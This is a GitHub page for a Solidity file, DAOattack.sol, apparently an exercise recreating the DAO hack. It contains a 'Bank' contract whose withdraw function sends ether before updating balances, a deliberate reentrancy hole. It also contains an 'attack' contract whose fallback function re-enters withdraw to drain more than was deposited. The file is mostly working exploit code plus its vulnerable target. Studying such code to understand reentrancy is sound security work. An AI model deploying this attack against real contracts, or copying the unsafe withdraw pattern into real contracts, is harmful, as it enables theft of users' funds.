forked from qx133/quest
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathDAOattack.sol
More file actions
51 lines (37 loc) · 1.1 KB
/
DAOattack.sol
File metadata and controls
51 lines (37 loc) · 1.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
pragma solidity ^0.4.16;
contract Bank {
mapping(address => uint256) public clients;
uint256 public ethBalance;
function deposit() public payable {
clients[msg.sender] = msg.value + clients[msg.sender];
ethBalance = ethBalance + msg.value;
}
function withdraw(uint256 amount) public {
require(amount <= clients[msg.sender]);
msg.sender.call.value(amount)();
ethBalance = ethBalance - amount;
clients[msg.sender] = clients[msg.sender] - amount;
}
}
contract attack {
bool public is_attack=true;
address public bankAddress;
Bank public B;
constructor(address _bankAddress) public{
bankAddress=_bankAddress;
B = Bank(bankAddress);
}
function() public payable {
if (is_attack == true){
is_attack = false;
B.withdraw(1 ether);
}
}
function deposit11() public payable{
B.deposit.value(msg.value)();
}
function withdraw11() public{
B.withdraw(1 ether);
msg.sender.transfer(this.balance);
}
}